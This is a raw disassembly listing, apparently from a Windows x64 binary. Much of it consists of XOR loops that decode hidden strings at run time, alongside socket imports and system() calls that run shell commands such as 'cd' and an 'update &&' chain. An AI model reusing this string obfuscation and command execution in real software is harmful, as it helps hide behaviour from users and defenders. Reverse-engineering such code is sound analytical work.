jb 0x140055980
mov byte [r11 + 0x55], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058e70
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
xor byte [rax + 0x24], dl
mov byte [r8 + 0x24], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140058ec0
mov r8, r15
lea rdx, [rax + 1]
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte ds:[rax]
xor byte [rdx + r8], cl
inc r8
cmp r8, 0x59
jb 0x140055b10
mov byte [rdx + 0x59], 0
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140058f70
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140058fc0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x140055c10
mov byte [r11 + 0x58], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140059070
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
xor byte [rax + 0x24], dl
mov byte [r8 + 0x24], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400590c0
mov r8, r15
lea rdx, [rax + 1]
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte ds:[rax]
xor byte [rdx + r8], cl
inc r8
cmp r8, 0x59
jb 0x140055dd0
mov byte [rdx + 0x59], 0
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140059170
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
xor byte [rax + 0x24], dl
mov byte [r8 + 0x24], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400591c0
mov r8, r15
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte ds:[rdx + r8]
xor cl, byte [rax]
mov byte [rdx + r8], cl
inc r8
cmp r8, 0x59
jb 0x140055ed0
mov byte [rdx + 0x59], 0
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140059270
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400592c0
mov r9, rax
lea r10, [rax + 1]
lea r8, [rax + 3]
sub rbx, rax
nop dword [rax]
lea rdx, [r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + rbx], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r8 + rbx]
cmp rax, 0x58
jb 0x140055fd0
mov byte [r10 + 0x58], 0
mov rdx, r10
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140059370
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400593c0
mov r8, r15
lea rdx, [rax + 1]
nop
movzx ecx, byte [rax]
xor byte [rdx + r8], cl
movzx ecx, byte [rax]
xor byte [rax + r8 + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x140056170
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
movdqa xmm0, xmmword [0x140200c70]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x140200eb0]
movdqu xmmword [rsp + 0xa0], xmm1
mov word [rsp + 0xb0], 0x7069
mov byte [rsp + 0xb2], 0
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x91]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140056204
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140057612
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x91]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x320]
call fcn.140027b80
nop
movdqa xmm0, xmmword [0x140200af0]
movdqa xmmword [rsp + 0x110], xmm0
movdqa xmm1, xmmword [0x140200c00]
movdqa xmmword [rsp + 0x120], xmm1
movdqa xmm0, xmmword [0x140200d40]
movdqa xmmword [rsp + 0x130], xmm0
movdqa xmm1, xmmword [0x140200e70]
movdqa xmmword [rsp + 0x140], xmm1
movdqa xmm0, xmmword [0x140200da0]
movdqa xmmword [rsp + 0x150], xmm0
mov dword [rsp + 0x160], 0x2c637067
mov dword [rsp + 0x164], 0x726b78
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
movzx eax, byte ds:[rsp + 0x110]
xor byte [rsp + rcx + 0x111], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x112], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x113], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x114], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x115], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x116], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x117], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x118], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x119], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11a], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11b], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11c], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11d], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11e], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11f], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x120], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x121], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x122], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x123], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x124], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x125], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x126], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x127], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x128], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x129], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12a], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12b], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12c], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12d], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12e], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12f], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x130], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x131], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x132], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x133], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x134], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x135], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x136], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x137], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x138], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x139], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x13a], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x13b], al
add rcx, 0x2b
cmp rcx, 0x56
jb 0x1400562d0
mov byte [rsp + 0x167], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x350], xmm1
lea rax, [rsp + 0x111]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140056594
lea rdx, [rsp + 0x111]
lea rcx, [rsp + 0x340]
call fcn.1400074e0
nop
mov rdx, qword [rsp + 0x3a8]
cmp rdx, qword [rsp + 0x3b0]
je 0x140056636
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqa xmmword [rsp + 0x330], xmm0
mov byte [rsp + 0x320], 0
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x350]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqa xmmword [rsp + 0x350], xmm0
mov byte [rsp + 0x340], 0
add qword [rsp + 0x3a8], 0x40
jmp 0x14005664c
lea r8, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.140067e60
nop
lea rcx, [rsp + 0x340]
call fcn.140003c40
lea rcx, [rsp + 0x320]
call fcn.140003c40
mov esi, r15d
mov rbx, qword [rsp + 0x3a0]
mov r15, qword [rsp + 0x3a8]
cmp rbx, r15
je 0x1400568ea
nop dword [rax]
inc esi
mov r12, qword [rbx + 0x10]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400566a5
mov rdi, qword [rbx]
call fcn.140127a80
mov qword [rsp + 0x380], rdi
mov qword [rsp + 0x388], r12
lea r8, [rsp + 0x380]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140005060
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xf0]
call fcn.1400069e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x300], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x70], ecx
lea rax, [0x140225878]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x660], xmm0
mov eax, dword [rsp + 0x300]
test eax, eax
je 0x140056727
cmp eax, 1
setne dil
jmp 0x140056732
xor dil, dil
test ecx, ecx
jne 0x140057618
lea rcx, [rsp + 0x50]
call fcn.140003bc0
nop dword [rax]
test dil, dil
jne 0x1400568cd
movdqa xmm0, xmmword [0x140200e40]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6372756f
mov dword [rsp + 0x64], 0xa7365
lea rdx, [rsp + 0x51]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003fe0
mov rdi, rax
mov edx, esi
lea rcx, [rsp + 0x320]
call fcn.140004e60
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140056799
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140028460
lea rdx, [0x1401fca0c]
mov rcx, rax
call fcn.140003fe0
mov rdi, rax
mov r8, qword [rsp + 0x3a8]
sub r8, qword [rsp + 0x3a0]
sar r8, 6
lea r9, [rsp + 0x675]
movabs r13, 0xcccccccccccccccd
nop dword [rax]
dec r9
mov rax, r13
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x1400567e0
lea r8, ds:[rsp + 0x675]
mov rdx, r9
lea rcx, [rsp + 0x90]
call fcn.1400280a0
nop
lea rdx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0xa0]
mov rcx, rdi
call fcn.140028460
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x90]
call fcn.140003c40
nop
lea rcx, [rsp + 0x320]
call fcn.140003c40
mov rdx, rbx
lea rcx, [rsp + 0x90]
call fcn.140007600
lea rcx, ds:[rbx + 0x20]
mov rdx, rax
call fcn.14002bc40
mov dword [rsp + 0x2f0], 0x736c6312
mov byte [rsp + 0x2f4], 0
lea rcx, [rsp + 0x2f1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r13, [0x140226258]
add rbx, 0x40
cmp rbx, r15
jne 0x140056690
mov r15, qword [rsp + 0x3a8]
mov rbx, qword [rsp + 0x3a0]
xor sil, sil
cmp rbx, r15
je 0x140056be9
nop word [rax + rax]
mov r12, qword [rbx + 0x10]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140056911
mov rdi, qword [rbx]
call fcn.140127a80
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r12
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rsp + 0x90]
call fcn.140005060
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x300]
call fcn.1400069e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0xf0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x380], ecx
lea rax, [0x140225878]
mov qword [rsp + 0x388], rax
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmmword [rsp + 0x660], xmm0
mov eax, dword [rsp + 0xf0]
test eax, eax
je 0x140056995
cmp eax, 1
setne dil
jmp 0x1400569a8
xor dil, dil
test ecx, ecx
jne 0x140057786
lea rcx, [rsp + 0x90]
call fcn.140003bc0
test dil, dil
jne 0x140056bce
nop
test sil, sil
jne 0x140056ba9
movdqa xmm0, xmmword [0x140200a50]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x140200a10]
movdqu xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x140200df0]
movdqu xmmword [rsp + 0xb0], xmm0
mov word [rsp + 0xc0], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte ds:[rsp + 0x90]
xor byte [rsp + rax + 0x91], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x92], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x93], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x94], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x95], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x96], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x97], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x98], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x99], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9a], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9b], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9c], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9d], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9e], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9f], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa0], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa1], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa2], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa3], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa4], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa5], cl
movzx edx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa6], dl
movzx edx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa7], dl
movzx edx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa8], dl
add rax, 0x18
cmp rax, 0x30
jb 0x140056a10
mov byte [rsp + 0xc1], 0
lea rdx, [rsp + 0x91]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003fe0
mov sil, 1
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140056bb6
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028460
mov rcx, rax
call fcn.140063ea0
add rbx, 0x40
cmp rbx, r15
jne 0x140056900
nop dword [rax + rax]
test sil, sil
jne 0x140057632
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4d0], xmm0
movups xmmword [rsp + 0x4e0], xmm0
movups xmmword [rsp + 0x4f0], xmm0
movups xmmword [rsp + 0x500], xmm0
movups xmmword [rsp + 0x510], xmm0
movups xmmword [rsp + 0x520], xmm0
movups xmmword [rsp + 0x530], xmm0
mov qword [rsp + 0x540], rax
lea rcx, [rsp + 0x4d0]
call fcn.1400607c0
nop
lea rcx, [rsp + 0x90]
call fcn.140052080
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140056c57
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x4d0]
call fcn.140060ec0
nop
lea rcx, [rsp + 0x90]
call fcn.140003bc0
movdqa xmm0, xmmword [0x140200c60]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x74616470
mov dword [rsp + 0x64], 0x26262061
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x2f0], 0x20646331
mov byte [rsp + 0x2f4], 0
lea rcx, [rsp + 0x2f1]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140056cc6
mov rcx, qword [0x140226268]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x1400577a6
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x140226258]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2f1]
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
lea rax, [rsp + 0x51]
inc r14
cmp byte [rax + r14], 0
jne 0x140056d23
mov r8, r14
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0x70]
call fcn.1400235e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x390], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x390], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
xor esi, esi
